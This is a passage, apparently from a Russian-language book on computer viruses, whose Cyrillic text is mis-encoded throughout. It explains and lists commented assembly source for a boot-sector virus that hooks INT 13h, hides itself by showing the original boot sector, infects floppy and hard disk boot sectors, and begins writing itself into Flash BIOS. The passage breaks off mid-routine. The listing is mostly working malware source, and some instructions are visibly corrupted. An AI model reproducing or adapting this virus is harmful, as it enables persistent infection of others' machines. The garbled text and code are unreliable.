ΠΠΎΡΠ΅ΠΌΡ Π²ΡΠ΅ ΡΠ°ΠΊ ΡΠ»ΠΎΠΆΠ½ΠΎ ΠΈ ΠΊΠ°ΠΊ Ρ ΡΡΠΈΠΌ ΡΠ²ΡΠ·Π°Π½ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠ½ΡΠΉ ΠΌΠΎΠ½ΠΈΡΠΎΡ?
ΠΡΠ΅ Π΄Π΅Π»ΠΎ Π² ΡΠΎΠΌ, ΡΡΠΎ BIOS (AMI, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ) ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ Π½Π΅ΠΊΠΎΡΠΎΡΡΠΌΠΈ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡΡΠΌΠΈ ΡΠ°Π±ΠΎΡΡ Π² ΠΌΠΈΠΊΡΠΎΡΡ Π΅ΠΌΠ°Ρ Flash-ΠΏΠ°ΠΌΡΡΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ Π±Π°Π·ΠΈΡΡΡΡΡΡ Π½Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ EOh ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ INT 16h. ΠΠ½Π΅ΡΠ΅Π½Π½ΡΠΉ Π² Π΄Π°Π½Π½ΡΡ ΠΎΠ±Π»Π°ΡΡΡ ΠΏΠ°ΠΌΡΡΠΈ Π²ΠΈΡΡΡ Π²ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΠΈ Π·Π°ΠΏΡΠ΅ΡΠ°Π΅Ρ ΠΏΠΎΠ²ΡΠΎΡΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠΊΠ°Π·Π°Π½Π½ΡΡ ΡΡΠ½ΠΊΡΠΈΡ. ΠΠ°ΠΊ ΡΠ»Π΅Π΄ΡΡΠ²ΠΈΠ΅, ΡΡΠΎ Π·Π°ΠΏΡΠ΅ΡΠΈΡ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠ½ΡΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π΅Ρ Π² ΠΏΡΠΎΡΠ΅ΡΡΠ΅ ΡΠ΄Π°Π»Π΅Π½ΠΈΡ Π²ΠΈΡΡΡΠ° ΠΈΠ· BIOS ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ°. ΠΠ°ΠΊ ΠΆΠ΅ ΡΡΠΎ Π²ΡΠ΅ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ?
ΠΠ»Π³ΠΎΡΠΈΡΠΌ ΡΠ°Π±ΠΎΡΡ Π²ΠΈΡΡΡΠ°, "ΠΆΠΈΠ²ΡΡΠ΅Π³ΠΎ" Π² BIOS, Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ.
1. ΠΠΈΡΡΡ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ ΡΠΈΡΡΠ΅ΠΌΡ Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ Flash BIOS.
2. ΠΠ°Π»Π΅Π΅ ΠΈΠ΄Π΅Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° Π½Π° Π·Π°ΡΠ°ΠΆΠ΅Π½Π½ΠΎΡΡΡ Flash BIOS (Π΅ΡΠ»ΠΈ BIOS ΡΠΈΡΡ β ΡΠΎ "ΠΠ", ΠΈΠ½Π°ΡΠ΅ β ΠΎΡΡΡΠ΅ΡΡΠ²ΠΈΡΡ Π²ΡΡ ΠΎΠ΄).
3. Π‘ΡΠΈΡΡΠ²Π°Π΅ΡΡΡ Π²Π΅ΠΊΡΠΎΡ INT 19h ΠΈΠ· ΡΠ°Π±Π»ΠΈΡΡ (ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΠ΅ Π·Π°Π³ΡΡΠ·ΠΊΠΈ).
4. Π§ΠΈΡΠ°Π΅Ρ ΠΏΠ΅ΡΠ²ΡΠ΅ ΠΏΡΡΡ Π±Π°ΠΉΡ ΠΎΡ ΡΠΎΡΠΊΠΈ Π²Ρ ΠΎΠ΄Π° INT 19h.
5. ΠΡΠΎΠ²Π΅ΡΡΠ΅Ρ ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠ΅ ΠΌΠ΅ΡΡΠΎ Π² ΠΌΠΈΠΊΡΠΎΡΡ Π΅ΠΌΠ΅ BIOS (ΠΏΠΎΠΈΡΠΊ ΠΎΠ±Π»Π°ΡΡΠΈ Π½ΡΠ»Π΅ΠΉ).
6. Π£ΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ ΠΏΠ°ΠΌΡΡΡ Flash BIOS Π² ΡΠ΅ΠΆΠΈΠΌ Π·Π°ΠΏΠΈΡΠΈ (Π½ΠΎΡΠΌΠ°Π»ΡΠ½ΠΎΠ΅ Π΅Π΅ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ Π² ΡΠ΅ΠΆΠΈΠΌΠ΅ ΡΡΠ΅Π½ΠΈΡ).
7. ΠΠ°ΠΏΠΈΡΡ Π²ΠΈΡΡΡΠ° Π² Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΡ ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΡΡ ΠΎΠ±Π»Π°ΡΡΡ.
8. ΠΠ°ΠΏΠΈΡΡ ΠΏΠ΅ΡΠ΅Ρ ΠΎΠ΄Π° Π½Π° Π²ΠΈΡΡΡ Π² ΡΠΎΡΠΊΡ Π²Ρ ΠΎΠ΄Π° INT 19h.
9. ΠΠΎΠ·Π²ΡΠ°Ρ Flash BIOS Π² ΡΠ΅ΠΆΠΈΠΌ "ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠ΅Π½ΠΈΠ΅".
ΠΠΎΡ, ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎ, ΠΈ ΡΠ°ΠΌ ΠΊΠΎΠ΄ Ρ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠΌΠΈ (Π»ΠΈΡΡΠΈΠ½Π³ 5.7):
ΠΠΈΡΡΠΈΠ½Π³ 5.7. ΠΠΎΠ΄ Π²ΠΈΡΡΡΠ°, ΠΏΠΎΡΠ°ΠΆΠ°ΡΡΠ΅Π³ΠΎ BIOS ;
ΠΠΈΡΡΡΠ½ΡΠΉ ΠΊΠΎΠ΄, Π·Π°ΡΠ°ΠΆΠ°ΡΡΠΈΠΉ Flash BIOS.
; ΠΠ°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΎΠΏΠ°ΡΠ΅Π½ ΡΠ΅ΠΌ, ΡΡΠΎ ΠΏΡΠΈ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠΈ Π½Π΅Π»ΡΠ·Ρ Π±ΡΠ΄Π΅Ρ Π·Π°Π³ΡΡΠ·ΠΈΡΡΡΡ ;
Π΄Π°ΠΆΠ΅ Ρ "ΡΠΈΡΡΠΎΠΉ" Π΄ΠΈΡΠΊΠ΅ΡΡ.
org 0
; ΠΡΠΈ Π²Ρ ΠΎΠ΄Π΅ Π² boot-ΡΠ΅ΠΊΡΠΎΡ 01=Π·Π°Π³ΡΡΠ·ΠΎΡΠ½ΡΠΉ Π΄ΠΈΡΠΊ
mov si, 7C00h ;
Π£ΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ 0000h Π² ΡΠ΅Π³ΠΈΡΡΡΠ°Ρ DS ΠΈ ES
Ρ ΠΎΠ³ Π°Ρ , Π°Ρ
mov es, ax
mov ds, ax
; Π£ΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΡΡΠ΅ΠΊΠ° 0000h:7C00h
cli
mov ss, ax
mov sp, si
sti
; Π£ΠΌΠ΅Π½ΡΡΠ°Π΅ΠΌ Π½Π° 1ΠΠ±Π°ΠΉΡ ΠΏΠ°ΠΌΡΡΡ (0040h:0013h)
dec word ptr [0413h] ;
ΠΠΎΠ»ΡΡΠ°Π΅ΠΌ ΡΠ°Π·ΠΌΠ΅Ρ ΠΏΠ°ΠΌΡΡΠΈ (ΠΏΡΠΈ Π²ΠΎΠ·Π²ΡΠ°ΡΠ΅ Π² ΠΠ₯)
int 12h
mov cl, 6
shl ax, cl
; Π£ΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ Π½ΠΎΠ²ΡΠΉ ΡΠ΅Π³ΠΌΠ΅Π½Ρ Π²ΠΈΡΡΡΠ°
mov es, ax
; ΠΠ΅ΡΠ΅Π½ΠΎΡΠΈΠΌ Π²ΠΈΡΡΡΠ½ΡΠΉ ΡΠ΅ΠΊΡΠΎΡ Π² Π²Π΅ΡΡΠΈΠ½Ρ ΠΏΠ°ΠΌΡΡΠΈ
xor di, di
mov cx, 200h
cld
rep movsb
; Π‘ΠΎΡ ΡΠ°Π½ΡΠ΅ΠΌ Π²Π΅ΠΊΡΠΎΡ ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ INT 13h
mov ax, word ptr [13h*4]
mov word ptr es: [off set i13], ax
mov ax, word ptr [13h*4+2]
mov word ptr es: [offset i13+2], ax
; Π£ΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ Π½ΠΎΠ²ΡΠΉ Π²Π΅ΠΊΡΠΎΡ ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ INT 13h
mov word ptr [13h*4], offset Handler
mov word ptr [13h*4+2], es
; ΠΠ΅ΡΠ΅Ρ ΠΎΠ΄ΠΈΠΌ Π² ΡΠΎΡΠΊΡ ES:Restart (Π² ΠΊΠΎΠΏΠΈΠΈ Π²ΠΈΡΡΡΠ°,
; Π½Π°Ρ ΠΎΠ΄ΡΡΠ΅ΠΉΡΡ Π² Π²Π΅ΡΡΠΈΠ½Π΅ ΠΏΠ°ΠΌΡΡΠΈ)
already_resident:
push es
mov ax, offset Restart
push ax
retf
; ΠΠΈΠΆΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΠΆΠ΅ Π² Π²Π΅ΡΡΠΈΠ½Π΅ ΠΏΠ°ΠΌΡΡΠΈ
Restart:
; ΠΠ°Π³ΡΡΠΆΠ°Π΅ΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ boot-ΡΠ΅ΠΊΡΠΎΡ ΠΈΠ· ΠΊΠΎΠ½ΡΠ°
; root directory ΠΈ ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΠΌ Π΅ΠΌΡ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅
xor Π°Ρ , Π°Ρ
call int13h
; ΠΠΎΡΠΎΠ²ΠΈΠΌ ΡΠ΅Π³ΠΈΡΡΡΡ Π΄Π»Ρ Π·Π°Π³ΡΡΠ·ΠΊΠΈ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ boot-ΡΠ΅ΠΊΡΠΎΡΠ°
Ρ ΠΎΠ³ Π°Ρ , Π°Ρ
mov es, ax
; Π‘Π΅Π³ΠΌΠ΅Π½Ρ Π΄Π»Ρ Π·Π°Π³ΡΡΠ·ΠΊΠΈ
mov bx, 7C00h
; Π‘ΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ Π·Π°Π³ΡΡΠ·ΠΊΠΈ
mov cx, 0002h
; ΠΠΎΡΠΎΠΆΠΊΠ° 0, ΡΠ΅ΠΊΡΠΎΡ 2
xor dh, dh
; ΠΠΎΠ»ΠΎΠ²ΠΊΠ° 0
mov ax, 0201h ;
Π€ΡΠ½ΠΊΡΠΈΡ 2, ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΠ΅ΠΊΡΠΎΡΠΎΠ² 1
; ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ Π·Π°Π³ΡΡΠ·ΠΎΡΠ½ΡΠΉ Π΄ΠΈΡΠΊ. 80h ΠΈ Π²ΡΡΠ΅ β ΡΡΠΎ Π°Π΄ΡΠ΅Ρ ΠΆΠ΅ΡΡΠΊΠΎΠ³ΠΎ Π΄ΠΈΡΠΊΠ°,
; ΠΈΠ½Π°ΡΠ΅ β Π΄ΠΈΡΠΊΠ΅ΡΠ°. ΠΠΎΠΏΠΈΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ boot-ΡΠ΅ΠΊΡΠΎΡΠ° Ρ ΡΠ°Π½ΠΈΠΌ :
; Π½Π° ΠΆΠ΅ΡΡΠΊΠΎΠΌ Π΄ΠΈΡΠΊΠ΅ β Π΄ΠΎΡΠΎΠΆΠΊΠ° 0, Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° 0, ΡΠ΅ΠΊΡΠΎΡ 2;
; Π½Π° Π΄ΠΈΡΠΊΠ΅ΡΠ΅ β Π΄ΠΎΡΠΎΠΆΠΊΠ° 0, Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° 1, ΡΠ΅ΠΊΡΠΎΡ 14
cmp dl, 80h
jae MBR_Loader
; ΠΡΡΠ·ΠΈΠΌΡΡ Ρ Π΄ΠΈΡΠΊΠ΅ΡΡ: ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ ΡΠ΅ΠΊΡΠΎΡ ΠΈ Π³ΠΎΠ»ΠΎΠ²ΠΊΡ
mov Ρ1, 14 ; Π‘Π΅ΠΊΡΠΎΡ 14
mov dh, 1 ; ΠΠΎΠ»ΠΎΠ²ΠΊΠ° 1
; 3Π°Π³ΡΡΠ·ΠΈΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ boot-ΡΠ΅ΠΊΡΠΎΡ ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ 0000h:7C00h
MBR_Loader:
call int13h
; Π‘ΠΎΡ ΡΠ°Π½ΡΠ΅ΠΌ Π² ΡΡΠ΅ΠΊΠ΅ Π½ΠΎΠΌΠ΅Ρ Π΄ΠΈΡΠΊΠ°, Ρ ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ Π³ΡΡΠ·ΠΈΠΌΡΡ
push dx
; ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ, Π·Π°ΡΠ°ΠΆΠ΅Π½ Π»ΠΈ Flash BIOS
cmp byte ptr cs:flash_done, 1
je Flash_resident
; ΠΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌ Flash BIOS
call flash_BIOS
; ΠΠΎΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ ΠΈΠ· ΡΡΠ΅ΠΊΠ° DX (Π½ΠΎΠΌΠ΅Ρ Π·Π°Π³ΡΡΠ·ΠΎΡΠ½ΠΎΠ³ΠΎ Π΄ΠΈΡΠΊΠ°)
Flash_resident:
pop dx
; 3Π°ΠΏΡΡΠΊΠ°Π΅ΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ boot-ΡΠ΅ΠΊΡΠΎΡ (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Π‘ΠΊΡΡΠ²Π°Π΅ΠΌ ΠΏΡΠΈΡΡΡΡΡΠ²ΠΈΠ΅ Π²ΠΈΡΡΡΠ° ΠΌΠ΅ΡΠΎΠ΄ΠΎΠΌ ΡΡΠ΅Π½ΠΈΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ boot-ΡΠ΅ΠΊΡΠΎΡΠ°
Stealth:
; ΠΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΡ ΡΠ΅ΠΊΡΠΎΡΠ°, Π³Π΄Π΅ Ρ ΡΠ°Π½ΠΈΡΡΡ ΠΊΠΎΠΏΠΈΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ
; boot-ΡΠ΅ΠΊΡΠΎΡΠ°
mov cx, 02h
mov ax, 0201h
; ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ, ΠΎΡΠΊΡΠ΄Π° ΡΡΠΈΡΠ°Π½ boot-ΡΠ΅ΠΊΡΠΎΡ (Π΄ΠΈΡΠΊΠ΅ΡΠ° ΠΈΠ»ΠΈ ΠΆΠ΅ΡΡΠΊΠΈΠΉ Π΄ΠΈΡΠΊ),
; ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΊΠΎΠΏΠΈΠΈ Ρ ΡΠ°Π½ΡΡΡΡ Π² ΡΠ°Π·Π½ΡΡ ΠΌΠ΅ΡΡΠ°Ρ
cmp dl, 80h
jae hd_stealth
mov cl, 14
mov dh, 1 hd_stealth:
; Π§ΠΈΡΠ°Π΅ΠΌ ΠΊΠΎΠΏΠΈΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ boot-ΡΠ΅ΠΊΡΠΎΡΠ°
call int13h
; ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ
jmp pop_exit
; ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ Π½Π°Π»ΠΈΡΠΈΠ΅ ΡΠ΅Π·ΠΈΠ΄Π΅Π½ΡΠ½ΠΎΠ³ΠΎ Π²ΠΈΡΡΡΠ°
restest:
xchgah, al
iret
; ΠΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ INT 13h
Handler:
cmp ax, 0ABBAh
je restest
; ΠΠ΅ΡΠ΅Ρ Π²Π°ΡΡΠ²Π°Π΅ΠΌ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠ½ΠΊΡΠΈΡ 02h (ΡΡΠ΅Π½ΠΈΠ΅ ΡΠ΅ΠΊΡΠΎΡΠ°): ΠΏΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ
; Π½ΠΎΠΌΠ΅Ρ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΡΠ»ΠΈ Π½Π΅ 2, Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ
cmp ah, 2
jne jend
; ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ Π½ΠΎΠΌΠ΅ΡΠ° Π΄ΠΎΡΠΎΠΆΠΊΠΈ ΠΈ ΡΠ΅ΠΊΡΠΎΡΠ°, ΠΈΠ½ΡΠ΅ΡΠ΅ΡΡΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΡΠ΅ΠΌΠΈ
; ΡΠ΅ΠΊΡΠΎΡΠ°ΠΌΠΈ, Π² ΠΊΠΎΡΠΎΡΡΡ ΠΌΠΎΠΆΠ΅Ρ ΠΎΠΊΠ°Π·Π°ΡΡΡΡ Π²ΠΈΡΡΡ :
; Π΄ΠΎΡΠΎΠΆΠΊΠ° 0, Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° 0, ΡΠ΅ΠΊΡΠΎΡ 1
cmp cx, 1
jne jend
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ Π½ΠΎΠΌΠ΅Ρ Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ. ΠΡΠ»ΠΈ Π½Π΅ 0, ΡΠΎ Π·Π°ΠΏΡΡΡΠΈΠΌ
; ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ
cmp dh, 0
jne jend
tryinfect:
; Π‘ΡΠΈΡΠ°Π΅ΠΌ ΡΠ΅ΠΊΡΠΎΡ Π² Π±ΡΡΠ΅Ρ (Π΄Π»Ρ Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠ΅ΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ).
; ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ Π²ΡΠ·ΠΎΠ²Π΅ΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ INT 13h
call int13h
jc jend
; Π‘ΠΎΡ ΡΠ°Π½ΠΈΠΌ ΡΠ΅Π³ΠΈΡΡΡΡ ΠΈ ΡΠ»Π°Π³ΠΈ (ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ ΠΈΡ )
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
; ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ, Π·Π°ΡΠ°ΠΆΠ΅Π½ Π»ΠΈ Π΄Π°Π½Π½ΡΠΉ Π΄ΠΈΡΠΊ Π²ΠΈΡΡΡΠΎΠΌ: ΡΠΈΡΠ°Π΅ΠΌ ΡΠΈΠ³Π½Π°ΡΡΡΡ. ;
ΠΡΠ»ΠΈ Π΄ΠΈΡΠΊ Π·Π°ΡΠ°ΠΆΠ΅Π½, ΡΠΊΡΡΠ²Π°Π΅ΠΌ ΠΏΡΠΈΡΡΡΡΡΠ²ΠΈΠ΅ Π²ΠΈΡΡΡΠ°
cmp word ptr es:[bx+offset marker], "LV"
je stealth
; ΠΡΠ»ΠΈ Π΄ΠΈΡΠΊ Π½Π΅ Π·Π°ΡΠ°ΠΆΠ΅Π½, ΡΠΎ Π·Π°ΡΠ°ΠΆΠ°Π΅ΠΌ
cmp dl, 80h
jb infect_floppy ; Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ Π½ΠΎΠΌΠ΅ΡΠ° Π΄ΠΎΡΠΎΠΆΠΊΠΈ, Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ ΡΠ΅ΠΊΡΠΎΡΠ° Π΄Π»Ρ ΠΆΠ΅ΡΡΠΊΠΎΠ³ΠΎ
; Π΄ΠΈΡΠΊΠ° Π΄Π»Ρ ΡΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ boot-ΡΠ΅ΠΊΡΠΎΡΠ°
mov cx, 2
xor dh, dh
jmp write_virus
infect_Floppy:
; Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ Π½ΠΎΠΌΠ΅ΡΠ° Π΄ΠΎΡΠΎΠΆΠΊΠΈ, Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ ΡΠ΅ΠΊΡΠΎΡΠ° Π΄Π»Ρ Π΄ΠΈΡΠΊΠ΅ΡΡ
; Π΄Π»Ρ ΡΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ boot-ΡΠ΅ΠΊΡΠΎΡΠ°
mov ΡΡ , 14
mov dh, 1
Write_Virus:
; ΠΠ°ΠΏΠΈΡΡΠ²Π°Π΅ΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ boot-ΡΠ΅ΠΊΡΠΎΡ
mov ax, 0301h
call int-lSh
jc pop_exit
; Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΠ΅Π³ΠΌΠ΅Π½ΡΠ½ΡΠΉ ΡΠ΅Π³ΠΈΡΡΡ ES Π½Π° ΡΠ΅Π³ΠΌΠ΅Π½Ρ Ρ Π²ΠΈΡΡΡΠΎΠΌ
push cs
pop es
; Π‘Π±ΡΠΎΡΠΈΠΌ ΡΠ»Π°Π³ Π·Π°ΡΠ°ΠΆΠ΅Π½Π½ΠΎΡΡΠΈ Flash BIOS
mov byte ptr cs:flash_done, 0
; 3Π°ΠΏΠΈΡΠ΅ΠΌ ΡΠ΅Π»ΠΎ Π²ΠΈΡΡΡΠ° Π² boot-ΡΠ΅ΠΊΡΠΎΡ
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh, dh
call int13h
; ΠΠΎΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΠ΅Π³ΠΈΡΡΡΡ ΠΈ ΡΠ»Π°Π³ΠΈ (ΠΊΠ°ΠΊ ΡΠ°Π· ΡΠ΅ ΠΈΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΠ΅
; ΡΠ²ΠΈΠ΄Π΅ΡΠ΅Π»ΡΡΡΠ²ΡΡΡ ΠΎ ΡΠΎΠΌ, ΡΡΠΎ boot-ΡΠ΅ΠΊΡΠΎΡ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΡΡΠΈΡΠ°Π»ΠΈ)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
; ΠΡΡ ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° Π² Π²ΡΠ·ΡΠ²Π°ΡΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ
retf2
; 3Π°ΠΏΡΡΠΊ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ°
jend:
DD 0EAh ; ΠΠΎΠ΄ ΠΊΠΎΠΌΠ°Π½Π΄Ρ JMP FAR ;
ΠΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ Π²Π΅ΠΊΡΠΎΡ INT13h
i13 DD 0
; ΠΡΠ·ΠΎΠ² ΠΏΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ INT 13h
int13h proc near
pushf
call dword ptr cs:[i13]
ret
int13h endp
; ΠΠ΅ΡΠ²ΡΠ΅ Π΄Π²Π° Π±Π°ΠΉΡΠ° ΡΠ»ΠΎΠ²Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ ΠΊΠ°ΠΊ ΡΠΈΠ³Π½Π°ΡΡΡΠ°
Marker db "VLAD"
; ΠΡΠ° ΠΏΠΎΠ΄ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π·Π°ΡΠ°ΠΆΠ°Π΅Ρ Flash BIOS
Flash_BIOS Proc Near
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ Π½Π°Π»ΠΈΡΠΈΠ΅ Flash BIOS
mov ax, 0e000h
int 16h
jc no_flash_bios
cmp al, 0FAh
jne no_flash_bios
; Π‘Π½Π°ΡΠ°Π»Π° Π½Π°ΠΉΠ΄Π΅ΠΌ Ρ ΠΎΡΠΎΡΠ΅Π΅ ΠΌΠ΅ΡΡΠΎ Π΄Π»Ρ Ρ ΡΠ°Π½Π΅Π½ΠΈΡ Π²ΠΈΡΡΡΠ°.
; ΠΡΠΎΡΠΊΠ°Π½ΠΈΡΡΠ΅ΠΌ ΠΏΠ°ΠΌΡΡΡ F000h-FFFFh, Π³Π΄Π΅ ΠΎΠ±ΡΡΠ½ΠΎ Π½Π°Ρ ΠΎΠ΄ΠΈΡΡΡ BIOS,
; Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ ΠΎΠ±Π»Π°ΡΡΠΈ 1ΠΠ±Π°ΠΉΡ Π½ΡΠ»Π΅ΠΉ. Π₯Π²Π°ΡΠΈΡ Π΄Π°ΠΆΠ΅ 512 Π±Π°ΠΉΡ ΠΏΠ°ΠΌΡΡΠΈ,
; Π½ΠΎ Π²ΡΠ΄Π΅Π»ΠΈΡΡ Π½ΡΠΆΠ½ΠΎ Ρ Π·Π°ΠΏΠ°ΡΠΎΠΌ
infect_Flash:
; ΠΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ Π½Π°ΡΠ°Π»ΡΠ½ΡΠΉ ΡΠ΅Π³ΠΌΠ΅Π½Ρ Π΄Π»Ρ ΠΏΠΎΠΈΡΠΊΠ°
mov ax, 0F000h
mov ds, ax
; ΠΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΠ΅Π³ΠΌΠ΅Π½Ρ
New_segment:
; ΠΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΡΠ°ΡΡΠΎΠ²ΠΎΠ΅ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅
xor si, si
; ΠΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΡΡΠ΅ΡΡΠΈΠΊ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΡ Π±Π°ΠΉΡ
